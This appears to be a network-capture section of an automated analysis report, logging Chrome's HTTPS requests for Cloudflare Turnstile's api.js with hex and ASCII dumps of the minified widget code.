2024-11-20 14:42:49 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-11-20 14:42:49 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49735	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:51 UTC	383	OUT	GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:52 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:51 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Mon, 28 Oct 2024 19:08:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e5935824f6243d7-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:52 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] 